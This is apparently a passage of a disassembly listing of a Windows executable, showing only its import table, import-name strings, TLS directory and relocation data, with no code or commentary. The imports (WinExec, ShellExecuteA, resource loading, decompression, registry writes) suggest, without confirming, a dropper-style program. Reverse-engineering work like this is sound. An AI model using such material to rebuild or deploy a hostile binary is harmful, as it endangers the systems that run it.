dword_400244B4	dd 7C809BC5h	; resolved to->KERNEL32.TlsSetValuedword_400244B8	dd 7C809740h	; resolved to->KERNEL32.TlsGetValuedword_400244BC	dd 7C80998Dh	; resolved to->KERNEL32.LocalAllocdword_400244C0	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleA		align 8
dword_400244C8	dd 7E41869Dh	; resolved to->USER32.ReleaseDCdword_400244CC	dd 7E45058Ah	; resolved to->USER32.MessageBoxAdword_400244D0	dd 7E42DFA8h	; resolved to->USER32.LoadStringA		dd 7E4208CEh
dword_400244D8	dd 7E418F9Ch	; resolved to->USER32.GetSystemMetricsdword_400244DC	dd 7E418E78h	; resolved to->USER32.GetSysColordword_400244E0	dd 7E4186C7h	; resolved to->USER32.GetDCdword_400244E4	dd 7E42DF50h	; resolved to->USER32.CharNextAdword_400244E8	dd 7E41AEF1h	; resolved to->USER32.CharToOemA		align 10h
dword_400244F0	dd 77F1D85Fh	; resolved to->GDI32.UnrealizeObjectdword_400244F4	dd 77F15D87h	; resolved to->GDI32.SetTextColordword_400244F8	dd 77F1D8F8h	; resolved to->GDI32.SetROP2dword_400244FC	dd 77F15EEBh	; resolved to->GDI32.SetBkModedword_40024500	dd 77F15E39h	; resolved to->GDI32.SetBkColordword_40024504	dd 77F1832Ah	; resolved to->GDI32.SelectPalettedword_40024508	dd 77F15B80h	; resolved to->GDI32.SelectObjectdword_4002450C	dd 77F1ADC3h	; resolved to->GDI32.MoveToExdword_40024510	dd 77F1DC1Fh	; resolved to->GDI32.GetTextMetricsAdword_40024514	dd 77F1B2F1h	; resolved to->GDI32.GetSystemPaletteEntries		dd 77F161D1h
dword_4002451C	dd 77F15A7Ah	; resolved to->GDI32.GetDeviceCapsdword_40024520	dd 77F2EAEBh	; resolved to->GDI32.GetCurrentPositionExdword_40024524	dd 77F16C0Ah	; resolved to->GDI32.DeleteObjectdword_40024528	dd 77F16E6Fh	; resolved to->GDI32.DeleteDCdword_4002452C	dd 77F24077h	; resolved to->GDI32.CreatePenIndirectdword_40024530	dd 77F1B1F1h	; resolved to->GDI32.CreatePalettedword_40024534	dd 77F1E2E3h	; resolved to->GDI32.CreateFontIndirectAdword_40024538	dd 77F1D991h	; resolved to->GDI32.CreateBrushIndirect		align 10h
dword_40024540	dd 7C835D54h	; resolved to->KERNEL32.WritePrivateProfileStringAdword_40024544	dd 7C810D87h	; resolved to->KERNEL32.WriteFiledword_40024548	dd 7C86136Dh	; resolved to->KERNEL32.WinExecdword_4002454C	dd 7C802520h	; resolved to->KERNEL32.WaitForSingleObjectdword_40024550	dd 7C80B9D1h	; resolved to->KERNEL32.VirtualQuerydword_40024554	dd 7C802442h	; resolved to->KERNEL32.Sleepdword_40024558	dd 7C80BC69h	; resolved to->KERNEL32.SizeofResourcedword_4002455C	dd 7C810B8Eh	; resolved to->KERNEL32.SetFilePointerdword_40024560	dd 7C80A017h	; resolved to->KERNEL32.SetEventdword_40024564	dd 7C80A03Bh	; resolved to->KERNEL32.ResetEventdword_40024568	dd 7C80180Eh	; resolved to->KERNEL32.ReadFiledword_4002456C	dd 7C809BF8h	; resolved to->KERNEL32.MultiByteToWideChardword_40024570	dd 7C8097C6h	; resolved to->KERNEL32.MulDivdword_40024574	dd 7C80CC97h	; resolved to->KERNEL32.SetHandleCountdword_40024578	dd 7C809FB5h	; resolved to->KERNEL32.LoadResourcedword_4002457C	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryAdword_40024580	dd 7C9010EDh	; resolved to->NTDLL.RtlLeaveCriticalSectiondword_40024584	dd 7C809EF1h	; resolved to->KERNEL32.InitializeCriticalSectiondword_40024588	dd 7C812ADEh	; resolved to->KERNEL32.GetVersionExAdword_4002458C	dd 7C80929Ch	; resolved to->KERNEL32.GetTickCountdword_40024590	dd 7C80A415h	; resolved to->KERNEL32.GetThreadLocaledword_40024594	dd 7C835DCAh	; resolved to->KERNEL32.GetTempPathAdword_40024598	dd 7C814EEAh	; resolved to->KERNEL32.GetSystemDirectoryAdword_4002459C	dd 7C812F39h	; resolved to->KERNEL32.GetStdHandledword_400245A0	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddressdword_400245A4	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleAdword_400245A8	dd 7C80B4CFh	; resolved to->KERNEL32.GetModuleFileNameAdword_400245AC	dd 7C80D262h	; resolved to->KERNEL32.GetLocaleInfoAdword_400245B0	dd 7C80A7D4h	; resolved to->KERNEL32.GetLocalTimedword_400245B4	dd 7C910331h	; resolved to->NTDLL.RtlGetLastWin32Errordword_400245B8	dd 7C814AF2h	; resolved to->KERNEL32.GetEnvironmentVariableAdword_400245BC	dd 7C8302EDh	; resolved to->KERNEL32.GetDiskFreeSpaceAdword_400245C0	dd 7C8361EEh	; resolved to->KERNEL32.GetDateFormatAdword_400245C4	dd 7C809728h	; resolved to->KERNEL32.GetCurrentThreadIddword_400245C8	dd 7C812E76h	; resolved to->KERNEL32.GetCPInfodword_400245CC	dd 7C8260C2h	; resolved to->KERNEL32.FreeResourcedword_400245D0	dd 7C80ABDEh	; resolved to->KERNEL32.FreeLibrarydword_400245D4	dd 7C82F7A0h	; resolved to->KERNEL32.FormatMessageAdword_400245D8	dd 7C80BE89h	; resolved to->KERNEL32.FindResourceAdword_400245DC	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcessdword_400245E0	dd 7C838211h	; resolved to->KERNEL32.EnumCalendarInfoAdword_400245E4	dd 7C901005h	; resolved to->NTDLL.RtlEnterCriticalSectiondword_400245E8	dd 7C91188Ah	; resolved to->NTDLL.RtlDeleteCriticalSectiondword_400245EC	dd 7C801A24h	; resolved to->KERNEL32.CreateFileAdword_400245F0	dd 7C8308ADh	; resolved to->KERNEL32.CreateEventAdword_400245F4	dd 7C8286EEh	; resolved to->KERNEL32.CopyFileAdword_400245F8	dd 7C80D077h	; resolved to->KERNEL32.CompareStringAdword_400245FC	dd 7C809B47h	; resolved to->KERNEL32.CloseHandle		dd 0
dword_40024604	dd 77DDEBE7h	; resolved to->ADVAPI32.RegSetValueExAdword_40024608	dd 77DD7883h	; resolved to->ADVAPI32.RegQueryValueExAdword_4002460C	dd 77DD761Bh	; resolved to->ADVAPI32.RegOpenKeyExAdword_40024610	dd 77DEB908h	; resolved to->ADVAPI32.RegFlushKeydword_40024614	dd 77DDEAF4h	; resolved to->ADVAPI32.RegCreateKeyExAdword_40024618	dd 77DD6BF0h	; resolved to->ADVAPI32.RegCloseKeydword_4002461C	dd 77DFD4C9h	; resolved to->ADVAPI32.GetUserNameA		dd 0
dword_40024624	dd 7712A63Fh	dword_40024628	dd 77124880h			align 10h
dword_40024630	dd 774FEE36h	dword_40024634	dd 77502A37h			dd 0
dword_4002463C	dd 7C802442h	; resolved to->KERNEL32.Sleep		dd 0
dword_40024644	dd 7712ABCCh	dword_40024648	dd 771251C8h	dword_4002464C	dd 77125214h	dword_40024650	dd 7712AB11h	dword_40024654	dd 77126BFFh	dword_40024658	dd 77124D6Bh	dword_4002465C	dd 77124920h	dword_40024660	dd 77124980h			align 8
dword_40024668	dd 7C961329h	; resolved to->NTDLL.RtlDecompressBuffer		align 10h
dword_40024670	dd 7CA41110h	; resolved to->SHELL32.ShellExecuteA		align 8
aOleaut32_dll	db 'oleaut32.dll',0
		align 4
aSysfreestring	db 'SysFreeString',0
		align 4
aSysreallocstri	db 'SysReAllocStringLen',0
		dd 79530000h, 6C6C4173h, 7453636Fh, 676E6972h, 6E654Ch
		dd 61766461h, 32336970h, 6C6C642Eh, 0
aRegqueryvaluee	db 'RegQueryValueExA',0
		align 4
aRegopenkeyexa	db 'RegOpenKeyExA',0
		align 4
aRegclosekey	db 'RegCloseKey',0
aUser32_dll	db 'user32.dll',0
		align 4
		dd 65470000h, 79654B74h, 72616F62h, 70795464h, 65h, 74736544h
		dd 57796F72h, 6F646E69h, 77h, 64616F4Ch, 69727453h, 41676Eh
		dd 654D0000h, 67617373h, 786F4265h, 41h, 72616843h, 7478654Eh
		dd 656B0041h, 6C656E72h, 642E3233h, 6C6Ch, 65470000h, 50434174h
		dd 0
aSleep		db 'Sleep',0
		align 4
aVirtualfree	db 'VirtualFree',0
		dd 69560000h, 61757472h, 6C6C416Ch, 636Fh, 65470000h, 63695474h
		dd 756F436Bh, 746Eh, 75510000h,	50797265h, 6F667265h, 6E616D72h
		dd 6F436563h, 65746E75h, 72h, 43746547h, 65727275h, 6854746Eh
		dd 64616572h, 6449h, 6E490000h,	6C726574h, 656B636Fh, 63654464h
		dd 656D6572h, 746Eh, 6E490000h,	6C726574h, 656B636Fh, 636E4964h
		dd 656D6572h, 746Eh, 69560000h,	61757472h, 6575516Ch, 7972h
		dd 69570000h, 68436564h, 6F547261h, 746C754Dh, 74794269h
		dd 65h,	746C754Dh, 74794269h, 576F5465h, 43656469h, 726168h
		dd 736C0000h, 656C7274h, 416Eh,	736C0000h, 70637274h, 416E79h
		dd 6F4C0000h, 694C6461h, 72617262h, 41784579h, 0
aGetthreadlocal	db 'GetThreadLocale',0
		dd 65470000h, 61745374h, 70757472h, 6F666E49h, 41h, 50746547h
		dd 41636F72h, 65726464h, 7373h,	65470000h, 646F4D74h, 48656C75h
		dd 6C646E61h, 4165h, 65470000h,	646F4D74h, 46656C75h, 4E656C69h
		dd 41656D61h, 0
aGetlocaleinfoa	db 'GetLocaleInfoA',0
		align 4
		dd 65470000h, 73614C74h, 72724574h, 726Fh, 65470000h, 6D6F4374h
		dd 646E616Dh, 656E694Ch, 41h, 65657246h, 7262694Ch, 797261h
		dd 69460000h, 6946646Eh, 46747372h, 41656C69h, 0
aFindclose	db 'FindClose',0
		align 4
aExitprocess	db 'ExitProcess',0
		dd 72570000h, 46657469h, 656C69h, 6E550000h, 646E6168h
		dd 4564656Ch, 70656378h, 6E6F6974h, 746C6946h, 7265h, 65530000h
		dd 6C694674h, 696F5065h, 7265746Eh, 0
aSetendoffile	db 'SetEndOfFile',0
		align 4
aRtlunwind	db 'RtlUnwind',0
		align 10h
aReadfile	db 'ReadFile',0
		align 4
aRaiseexception	db 'RaiseException',0
		align 4
		dd 65470000h, 64745374h, 646E6148h, 656Ch, 65470000h, 6C694674h
		dd 7A695365h, 65h, 46746547h, 54656C69h, 657079h, 72430000h
		dd 65746165h, 656C6946h, 41h, 736F6C43h, 6E614865h, 656C64h
		dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0
aTlssetvalue	db 'TlsSetValue',0
		dd 6C540000h, 74654773h, 756C6156h, 65h, 61636F4Ch, 6C6C416Ch
		dd 636Fh, 65470000h, 646F4D74h,	48656C75h, 6C646E61h, 4165h
		dd 72657375h, 642E3233h, 6C6Ch,	65520000h, 7361656Ch, 434465h
		dd 654D0000h, 67617373h, 786F4265h, 41h, 64616F4Ch, 69727453h
		dd 41676Eh, 6F4C0000h, 63496461h, 416E6Fh, 65470000h, 73795374h
		dd 4D6D6574h, 69727465h, 7363h,	65470000h, 73795374h, 6F6C6F43h
		dd 72h,	44746547h, 43h,	72616843h, 7478654Eh, 41h, 72616843h
		dd 654F6F54h, 416Dh, 33696467h,	6C642E32h, 6Ch,	65726E55h
		dd 7A696C61h, 6A624F65h, 746365h, 65530000h, 78655474h
		dd 6C6F4374h, 726Fh, 65530000h,	504F5274h, 32h,	42746553h
		dd 646F4D6Bh, 65h, 42746553h, 6C6F436Bh, 726Fh,	65530000h
		dd 7463656Ch, 656C6150h, 657474h, 65530000h, 7463656Ch
		dd 656A624Fh, 7463h, 6F4D0000h,	6F546576h, 7845h, 65470000h
		dd 78655474h, 74654D74h, 73636972h, 41h, 53746547h, 65747379h
		dd 6C61506Dh, 65747465h, 72746E45h, 736569h, 65470000h
		dd 6F745374h, 624F6B63h, 7463656Ah, 0
aGetdevicecaps	db 'GetDeviceCaps',0
		align 10h
aGetcurrentposi	db 'GetCurrentPositionEx',0
		align 4
aDeleteobject	db 'DeleteObject',0
		align 4
aDeletedc	db 'DeleteDC',0
		align 4
aCreatepenindir	db 'CreatePenIndirect',0
		align 4
aCreatepalette	db 'CreatePalette',0
		align 4
aCreatefontindi	db 'CreateFontIndirectA',0
		dd 72430000h, 65746165h, 73757242h, 646E4968h, 63657269h
		dd 656B0074h, 6C656E72h, 642E3233h, 6C6Ch, 72570000h, 50657469h
		dd 61766972h, 72506574h, 6C69666Fh, 72745365h, 41676E69h
		dd 0
aWritefile	db 'WriteFile',0
		align 4
aWinexec	db 'WinExec',0
		dd 61570000h, 6F467469h, 6E695372h, 4F656C67h, 63656A62h
		dd 74h,	74726956h, 516C6175h, 79726575h, 0
aSleep_0	db 'Sleep',0
		align 4
aSizeofresource	db 'SizeofResource',0
		align 4
		dd 65530000h, 6C694674h, 696F5065h, 7265746Eh, 0
aSetevent	db 'SetEvent',0
		align 4
aResetevent	db 'ResetEvent',0
		align 10h
		dd 65520000h, 69466461h, 656Ch,	754D0000h, 4269746Ch, 54657479h
		dd 6469576Fh, 61684365h, 72h, 446C754Dh, 7669h,	6F4C0000h
		dd 65526B63h, 72756F73h, 6563h,	6F4C0000h, 65526461h, 72756F73h
		dd 6563h, 6F4C0000h, 694C6461h,	72617262h, 4179h, 654C0000h
		dd 43657661h, 69746972h, 536C6163h, 69746365h, 6E6Fh, 6E490000h
		dd 61697469h, 657A696Ch, 74697243h, 6C616369h, 74636553h
		dd 6E6F69h, 65470000h, 72655674h, 6E6F6973h, 417845h, 65470000h
		dd 63695474h, 756F436Bh, 746Eh,	65470000h, 72685474h, 4C646165h
		dd 6C61636Fh, 65h, 54746547h, 50706D65h, 41687461h, 0
aGetsystemdirec	db 'GetSystemDirectoryA',0
		dd 65470000h, 64745374h, 646E6148h, 656Ch, 65470000h, 6F725074h
		dd 64644163h, 73736572h, 0
aGetmodulehandl	db 'GetModuleHandleA',0
		align 10h
aGetmodulefilen	db 'GetModuleFileNameA',0
		align 4
		dd 65470000h, 636F4C74h, 49656C61h, 416F666Eh, 0
aGetlocaltime	db 'GetLocalTime',0
		align 4
aGetlasterror	db 'GetLastError',0
		align 4
aGetenvironment	db 'GetEnvironmentVariableA',0
		dd 65470000h, 73694474h, 6572466Bh, 61705365h, 416563h
		dd 65470000h, 74614474h, 726F4665h, 4174616Dh, 0
aGetcurrentthre	db 'GetCurrentThreadId',0
		align 4
		dd 65470000h, 49504374h, 6F666Eh, 72460000h, 65526565h
		dd 72756F73h, 6563h, 72460000h,	694C6565h, 72617262h, 79h
		dd 6D726F46h, 654D7461h, 67617373h, 4165h, 69460000h, 6552646Eh
		dd 72756F73h, 416563h, 78450000h, 72507469h, 7365636Fh
		dd 73h,	6D756E45h, 656C6143h, 7261646Eh, 6F666E49h, 41h
		dd 65746E45h, 69724372h, 61636974h, 6365536Ch, 6E6F6974h
		dd 0
aDeletecritical	db 'DeleteCriticalSection',0
		align 4
aCreatefilea	db 'CreateFileA',0
		dd 72430000h, 65746165h, 6E657645h, 4174h, 6F430000h, 69467970h
		dd 41656Ch, 6F430000h, 7261706Dh, 72745365h, 41676E69h
		dd 0
aClosehandle	db 'CloseHandle',0
aAdvapi32_dll	db 'advapi32.dll',0
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0
		align 4
		dd 65520000h, 65755167h, 61567972h, 4565756Ch, 4178h, 65520000h
		dd 65704F67h, 79654B6Eh, 417845h, 65520000h, 756C4667h
		dd 654B6873h, 79h, 43676552h, 74616572h, 79654B65h, 417845h
		dd 65520000h, 6F6C4367h, 654B6573h, 79h, 55746547h, 4E726573h
		dd 41656D61h, 6C6F0000h, 74756165h, 642E3233h, 6C6Ch, 65470000h
		dd 72724574h, 6E49726Fh, 6F66h,	79530000h, 65724673h, 72745365h
		dd 676E69h, 33656C6Fh, 6C642E32h, 6Ch, 6E556F43h, 74696E69h
		dd 696C6169h, 657Ah, 6F430000h,	74696E49h, 696C6169h, 657Ah
		dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0
aSleep_1	db 'Sleep',0
aOleaut32_dll_0	db 'oleaut32.dll',0
		align 4
		dd 61530000h, 72416566h, 50796172h, 664F7274h, 65646E49h
		dd 78h,	65666153h, 61727241h, 74654779h, 756F4255h, 646Eh
		dd 61530000h, 72416566h, 47796172h, 424C7465h, 646E756Fh
		dd 0
aSafearraycreat	db 'SafeArrayCreate',0
		dd 61560000h, 6E616972h, 61684374h, 5465676Eh, 657079h
		dd 61560000h, 6E616972h, 706F4374h, 79h, 69726156h, 43746E61h
		dd 7261656Ch, 0
aVariantinit	db 'VariantInit',0
aNtdll_dll	db 'ntdll.dll',0
		align 4
aRtldecompressb	db 'RtlDecompressBuffer',0
aShell32_dll	db 'shell32.dll',0
		dd 68530000h, 456C6C65h, 75636578h, 416574h
_idata		ends

; Section 6. (virtual address 00026000)
; Virtual size			: 0000000C (	 12.)
; Section size in file		: 0000000C (	 12.)
; Offset to raw	data for section: 00026000
; Flags	C0000000: Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Regular
; Segment permissions: Read/Write
_tls		segment	para public '' use32
		assume cs:_tls
		;org 40026000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
TlsStart	dd 3 dup(0)		; DATA XREF: .rdata:TlsDirectoryo
_tls		ends

; Section 7. (virtual address 00027000)
; Virtual size			: 00000018 (	 24.)
; Section size in file		: 00000018 (	 24.)
; Offset to raw	data for section: 00027000
; Flags	40000040: Data Readable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read
_rdata		segment	para public 'DATA' use32
		assume cs:_rdata
		;org 40027000h
TlsDirectory	dd offset TlsStart
TlsEnd_ptr	dd 4002600Ch
TlsIndex_ptr	dd offset TlsIndex
TlsCallbacks_ptr dd offset TlsSizeOfZeroFill
TlsSizeOfZeroFill dd 0			; DATA XREF: .rdata:TlsCallbacks_ptro
TlsCharacteristics dd 0
_rdata		ends

; Section 8. (virtual address 00028000)
; Virtual size			: 00001DDC (   7644.)
; Section size in file		: 00001DDC (   7644.)
; Offset to raw	data for section: 00028000
; Flags	42000040: Data Discardable Readable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read
_reloc		segment	para public 'DATA' use32
		assume cs:_reloc
		;org 40028000h
		db    0
		db 10h,	2 dup(0)
		db  3Ch	; <
		db 1, 2	dup(0)
		db    0
		db 30h,	0Ch, 30h
		db  1Ch
a00h0l0p0t0x000	db '0<0H0L0P0T0X0\0`0d0p0}0±0µ0¹0Ñ0à0ä0',0
		db 31h,	8, 31h
		db  0Ch
		db 31h,	10h, 31h
		db  14h
		db 31h,	18h, 31h
		db  1Ch
		db 31h,	20h, 31h
		db  24h	; $
		db 31h,	28h, 31h
		db  42h	; B
		db 31h,	4Ah, 31h
		db  52h	; R
		db 31h,	5Ah, 31h
		db  62h	; b
		db 31h,	6Ah, 31h
		db  72h	; r
		db 31h,	7Ah, 31h
		db  82h	; ‚
		db 31h,	8Ah, 31h
		db  92h	; ’
		db 31h,	9Ah, 31h
		db 0A2h	; ¢
		db 31h,	0AAh, 31h
		db 0B2h	; ²
		db 31h,	0BAh, 31h
		db 0C2h	; Â
		db 31h,	0CAh, 31h
		db 0D2h	; Ò
		db 31h,	0DAh, 31h
		db 0E2h	; â
		db 31h,	0EAh, 31h
		db 0F2h	; ò
		db 31h,	0FAh, 31h
		db    2
		db 32h,	0Ah, 32h
		db  12h
		db 32h,	1Ah, 32h
		db  22h	; "
		db 32h,	2Ah, 32h
		db  32h	; 2
		db 32h,	3Ah, 32h
		db  42h	; B
		db 32h,	4Ah, 32h
		db  52h	; R
		db 32h,	5Ah, 32h
		db  62h	; b
		db 32h,	6Ah, 32h
		db  72h	; r
		db 32h,	7Ah, 32h
		db  82h	; ‚
		db 32h,	8Ah, 32h
		db  92h	; ’
		db 32h,	9Ah, 32h
		db 0C6h	; Æ
		db 32h,	0CEh, 32h
		db 0D6h	; Ö
		db 32h,	0DEh, 32h
		db 0E2h	; â
		db 34h,	0F8h, 34h
		db    9
		db 35h,	2Ch, 35h
		db  46h	; F
		db 35h,	5Ch, 35h
		db  6Bh	; k
		db 35h,	72h, 35h
		db  7Dh	; }
		db 35h,	8Dh, 35h
		db 0C2h	; Â
		db 35h,	0D0h, 35h
		db 0FDh	; ý
		db 35h,	5, 36h
		db  0Ah
		db 36h,	2Fh, 36h
		db  38h	; 8
		db 36h,	4Bh, 36h
		db  56h	; V
		db 36h,	67h, 36h
		db  80h	; €
		db 36h,	0D0h, 36h
		db 0D6h	; Ö
		db 36h,	0DCh, 36h
		db 0E7h	; ç
		db 36h,	2Bh, 37h
		db  42h	; B
		db 37h,	51h, 37h
		db  58h	; X
		db 37h,	4, 38h
		db  14h
		db 38h,	2Ah, 38h
		db  42h	; B
		db 38h,	55h, 38h
		db  62h	; b
		db 38h,	7Fh, 38h
		db  88h	; ˆ
		db 38h,	0BEh, 38h
		db 0C8h	; È
		db 38h,	0E0h, 38h
		db 0E6h	; æ
		db 38h,	0FEh, 38h
		db  16h
		db 39h,	51h, 39h
		db  67h	; g
		db 39h,	0AEh, 39h
		db 0CBh	; Ë
		db 39h,	0D7h, 39h
		db 0EAh	; ê
		db 39h,	0F3h, 39h
		db 0FAh	; ú
		db 39h,	0, 3Ah
		db  15h
		db 3Ah,	21h, 3Ah
		db  3Eh	; >
		db 3Ah,	47h, 3Ah
		db  85h	; …
		db 3Ah,	0A7h, 3Ah
		db  0Fh
		db 3Bh,	55h, 3Bh
		db  6Bh	; k
		db 3Bh,	0C9h, 3Bh
		db    6
		db 3Ch,	1Fh, 3Ch
aPZSGI		db 'P<Z<`<s=ƒ=›=',0
aO_Y??		db '>O>_>y>',0Bh,'?',1Bh,'?',0
		db ' ',0
		align 10h
aD:
		unicode	0, <¤>,0
		db  5Ah	; Z
		db 30h,	63h, 30h
		db  75h	; u
		db 30h,	81h, 30h
		db  8Ch	; Œ
		db 30h,	0F2h, 32h
		db    3
		db 33h,	1Ch, 33h
		db  2Fh	; /
		db 33h,	4Ah, 33h
		db  50h	; P
		db 33h,	69h, 33h
		db  76h	; v
		db 33h,	7Eh, 33h
		db  87h	; ‡
		db 33h,	95h, 33h
		db 0A2h	; ¢
		db 33h,	0E7h, 33h
		db    7
		db 34h,	94h, 35h
		db  21h	; !
		db 36h,	2Dh, 36h
		db  6Ch	; l
		db 36h,	0A1h, 36h
		db 0C1h	; Á
		db 36h,	18h, 37h
		db  6Eh	; n
		db 37h,	9Dh, 37h
		db 0B2h	; ²
		db 37h,	5Ah, 38h
		db 0BBh	; »
		db 38h,	0D1h, 38h
		db 0BFh	; ¿
		db 39h,	0C5h, 39h
		db 0E3h	; ã
		db 39h,	5, 3Ah
		db  10h
		db 3Ah,	0E0h, 3Ah
		db 0E4h	; ä
		db 3Ah,	0EAh, 3Ah
		db 0EEh	; î
		db 3Ah,	0F8h, 3Ah
		db  0Bh
		db 3Bh,	0Fh, 3Bh
		db  15h
		db 3Bh,	19h, 3Bh
		db  29h	; )
		db 3Bh,	2Eh, 3Bh
		db  53h	; S
		db 3Bh,	7Eh, 3Bh
		db 0B6h	; ¶
		db 3Bh,	0BEh, 3Bh
		db 0CBh	; Ë
		db 3Bh,	0D1h, 3Bh
		db 0DFh	; ß
		db 3Bh,	0EEh, 3Bh
		db 0FBh	; û
		db 3Bh,	0Eh, 3Ch
		db  26h	; &
		db 3Ch,	42h, 3Ch
		db  63h	; c
		db 3Ch,	7Ch, 3Ch
		db  95h	; •
		db 3Ch,	0FAh, 3Ch
		db  0Fh
		db 3Dh,	1Ch, 3Dh
a48@DHLPT	db '<=',0Dh,'>4>8><>@>D>H>L>P>T>',0
		align 10h
		dd 3000h, 68h, 30763069h, 30903085h, 30BF30B6h,	31D831AFh
		dd 31E631DFh, 32CB32B6h, 334E32FEh, 33B03360h, 33E633B7h
		dd 34DD348Ah, 367C35D4h, 36943683h, 36F036A0h, 38B3389Bh
		dd 38E038C4h, 390938F8h, 3B5E3915h, 3BAD3B9Dh, 3BE13BC3h
		dd 3C0F3BF7h, 3C5D3C24h, 3E133DB5h, 3F963F4Bh, 3FFE3FEAh
		dd 4000h, 0A4h,	301C3006h, 30423034h, 30923076h, 30B2309Eh
		dd 30CF30BCh, 312C30FFh, 31673135h, 31A53170h, 31CE31ACh
		dd 3252321Dh, 330732C3h, 34433313h, 3472346Bh, 34AC348Ah
		dd 34E834E0h, 351F34F3h, 35343529h, 35843545h, 35B1359Ah
		dd 35EA35E6h, 35F435F0h, 360035F9h, 360E3606h, 36743619h
		dd 36A8367Ch, 36D836B4h, 370736E2h, 371B3711h, 37293723h
		dd 37523737h, 37713767h, 37953776h, 37BA379Ah, 37DA37CEh
		dd 383D37F3h, 384B3846h, 387A386Dh, 39D139B5h, 3D4Fh, 5000h
		dd 24h,	330732FEh, 3417340Eh, 3C793C0Fh, 3E553C8Ch, 3E913E73h
		dd 3EF93EABh, 3F1Bh, 6000h, 268h, 30BD30B3h, 30DC30CCh
		dd 313530E3h, 31863146h, 319F318Dh, 31C631BDh, 31D931D2h
		dd 334A32E8h, 33633357h, 3374336Ah, 338D337Eh, 33B2339Fh
		dd 33C233BAh, 33F233CAh, 342A341Ch, 3448342Fh, 34693458h
		dd 3486347Ah, 3490348Bh, 349E3497h, 34BA34A8h, 34CA34C2h
		dd 34DA34D2h, 34EA34E2h, 34FA34F2h, 350A3502h, 351A3512h
		dd 352A3522h, 353A3532h, 354A3542h, 355A3552h, 356A3562h
		dd 357A3572h, 358A3582h, 359A3592h, 35AA35A2h, 35BA35B2h
		dd 35CA35C2h, 35DA35D2h, 35EA35E2h, 35FA35F2h, 360A3602h
		dd 361A3612h, 362A3622h, 363A3632h, 364A3642h, 365A3652h
		dd 366A3662h, 367A3672h, 368A3682h, 369A3692h, 36AA36A2h
		dd 36BA36B2h, 36CA36C2h, 36DA36D2h, 36EA36E2h, 36FA36F2h
		dd 370A3702h, 371A3712h, 372A3722h, 373A3732h, 374A3742h
		dd 376B375Fh, 377B3773h, 37B2378Eh, 3862382Bh, 3981393Bh
		dd 3A4F3A0Fh, 3ABC3A9Ah, 3ADE3AD6h, 3AF23AE6h, 3B023AFAh
		dd 3B103B0Ah, 3B203B18h, 3B303B28h, 3B403B38h, 3B503B48h
		dd 3B603B58h, 3B703B68h, 3B803B78h, 3B903B88h, 3BA03B98h
		dd 3BB03BA8h, 3BC03BB8h, 3BD03BC8h, 3BE03BD8h, 3BF03BE8h
		dd 3C003BF8h, 3C103C08h, 3C203C18h, 3C303C28h, 3C403C38h
		dd 3C503C48h, 3C603C58h, 3C703C68h, 3C803C78h, 3C903C88h
		dd 3CA03C98h, 3CB03CA8h, 3CC03CB8h, 3CD03CC8h, 3CE03CD8h
		dd 3CF03CE8h, 3D003CF8h, 3D103D08h, 3D203D18h, 3D303D28h
		dd 3D403D38h, 3D503D48h, 3D603D58h, 3D703D68h, 3D803D78h
		dd 3D903D88h, 3DA03D98h, 3DB03DA8h, 3DC03DB8h, 3DD03DC8h
		dd 3DE03DD8h, 3E003DECh, 3E0C3E08h, 3E143E10h, 3E1C3E18h
		dd 3E243E20h, 3E363E28h, 3E683E48h, 3E743E70h, 3E7C3E78h
		dd 3E843E80h, 3E8C3E88h, 3EA43E90h, 3ECC3EC4h, 3ED43ED0h
		dd 3EDC3ED8h, 3EE43EE0h, 3EEC3EE8h, 3F203F00h, 3F2C3F28h
		dd 3F343F30h, 3F3C3F38h, 3F443F40h, 3F583F48h, 3F803F78h
		dd 3F883F84h, 3F903F8Ch, 3F983F94h, 3FA03F9Ch, 3FD03FB0h
		dd 3FDC3FD8h, 3FE43FE0h, 3FEC3FE8h, 3FF43FF0h, 3FF8h, 7000h
		dd 258h, 30303010h, 303C3038h, 30443040h, 304C3048h, 30543050h
		dd 30683058h, 30903088h, 30983094h, 30A0309Ch, 30A830A4h
		dd 30B030ACh, 30E030C0h, 30EC30E8h, 30F430F0h, 30FC30F8h
		dd 31043100h, 31183108h, 31403138h, 31483144h, 3150314Ch
		dd 31583154h, 3160315Ch, 31943174h, 31A0319Ch, 31A831A4h
		dd 31B031ACh, 31B831B4h, 31CC31BCh, 31F431ECh, 31FC31F8h
		dd 32043200h, 320C3208h, 32143210h, 32443224h, 3250324Ch
		dd 32583254h, 3260325Ch, 32683264h, 327C326Ch, 32A4329Ch
		dd 32AC32A8h, 32B432B0h, 32BC32B8h, 32C432C0h, 32F432D4h
		dd 330032FCh, 33083304h, 3310330Ch, 33183314h, 332C331Ch
		dd 3354334Ch, 335C3358h, 33643360h, 336C3368h, 33743370h
		dd 33A83388h, 33B433B0h, 33BC33B8h, 33C433C0h, 33CC33C8h
		dd 33E433D0h, 340C3404h, 34143410h, 341C3418h, 34243420h
		dd 342C3428h, 34603440h, 346C3468h, 34743470h, 347C3478h
		dd 34843480h, 34A03488h, 34C834C0h, 34D034CCh, 34D834D4h
		dd 34E034DCh, 34E834E4h, 351834F8h, 35243520h, 352C3528h
		dd 35343530h, 353C3538h, 35543540h, 357C3574h, 35843580h
		dd 358C3588h, 35943590h, 359C3598h, 35CC35ACh, 35D835D4h
		dd 35E035DCh, 35E835E4h, 35F035ECh, 360835F4h, 36303628h
		dd 36383634h, 3640363Ch, 36483644h, 3650364Ch, 36883668h
		dd 36943690h, 369C3698h, 36A436A0h, 36AC36A8h, 36C436B0h
		dd 36EC36E4h, 36F436F0h, 36FC36F8h, 37043700h, 370C3708h
		dd 37403720h, 374C3748h, 37543750h, 375C3758h, 37643760h
		dd 37783768h, 37A03798h, 37A837A4h, 37B037ACh, 37B837B4h
		dd 37C037BCh, 37E537D8h, 37FC37EDh, 38113809h, 384C382Ch
		dd 38583854h, 3860385Ch, 38683864h, 3870386Ch, 38CC3874h
